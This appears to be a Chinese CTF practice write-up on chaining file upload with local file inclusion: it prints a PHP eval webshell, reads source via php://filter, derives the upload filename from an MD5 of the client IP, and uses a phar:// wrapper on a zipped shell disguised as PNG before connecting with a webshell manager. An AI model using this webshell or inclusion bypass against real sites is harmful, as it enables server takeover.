文件上传结合文件包含综合练习(压缩流 php伪协议phar://)

           用的木马统一为     GIF89a<?php @eval($POST_['w']); ?>    文件名统一为aa                    

查看页面源代码没什么提示,上传木马改后缀名为php发现上传不了(白名单)

上传成功后也没有提示信息

用filter伪协议看一下upload页面

base64解码后得到代码

<?php
include 'common.php';

if(isset($_POST['submit']) && isset($_FILES['image'])) {
    $fn = $_FILES['image']['tmp_name'];
    $ft = $_FILES['image']['type'];

    if (!is_uploaded_file($fn)) {
        fatal('uploaded file corrupted');
    }

    $array = array('image/png');         /* 白名单 */
    if (!in_array($ft, $array)) {
        fatal("只允许上传PNG格式哦!");
    }

    $imagekey = create_image_key();

    move_uploaded_file($fn, "uploads/$imagekey.png");
}
 else {
?>
<center>
<div class="article">
    <h2>Please Upload your image</h2>
    <form enctype="multipart/form-data" action="?op=upload" method="POST">
        <label for="image">Image file (max <?=MAX_IM_SIZE;?>x<?=MAX_IM_SIZE;?>): </label>
        <input type="file" id="image" name="image" />
        <br />
        <input type="submit" name="submit" value="Upload!" />
    </form>
</div>
</center>
<?php
}
?>

高亮加粗的代码意思就是把你上传的文件路径和名称改为   /upload/$imagekey.png

说明你就算改了后缀名也没用,他后面会给你强制改为png文件 而且这个 $imagekey是调用了create_image_key()函数生成的

但我们不知道这个函数的具体内容

注意看全代码,他第一行包含了一个文件   include 'common.php' 接着用伪协议再看一下

解码后:

<?php
if(!defined('FROM_INDEX')) die();

define('MAX_IM_SIZE', 100);

function create_image_key() {
    return md5($_SERVER['REMOTE_ADDR'] . "kudun");

}

function load_image($imagekey) {
    if(1 !== preg_match('/[0-9a-f]{40}/', $imagekey)) {
        fatal('Invalid image key.');
    }

    $im = imagecreatefrompng("uploads/{$imagekey}.png");
    if(!$im) {
        fatal('Failed to load image.');
    }
    return $im;
}
stream_wrapper_unregister ("zip");
?>

加粗位置就是我们要的函数

$_SERVER['REMOTE_ADDR'] 是PHP超全局变量,存储客户端的IP地址

客户端IP地址与字符串 "kudun" 拼接(.用于分隔)然后经过MD5加密后返回

我们就知道了上传文件的位置

访问一下

但是访问了以后并不能进一步操作

(op是option强制拼接了 php)

其他伪协议都试过了,用phar压缩协议尝试一下

做法:将aa.php这个木马压缩成aa.zip,改名为aa.png,然后上传,上传成功后,使用phar去访问这个png文件里面的aa.php木马

?op=phar://upload/算出的文件名.png/aa.php

访问后发现有显示了,那就直接打开蚁剑连接

(也可以用POST命令执行)

找一下就有key了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值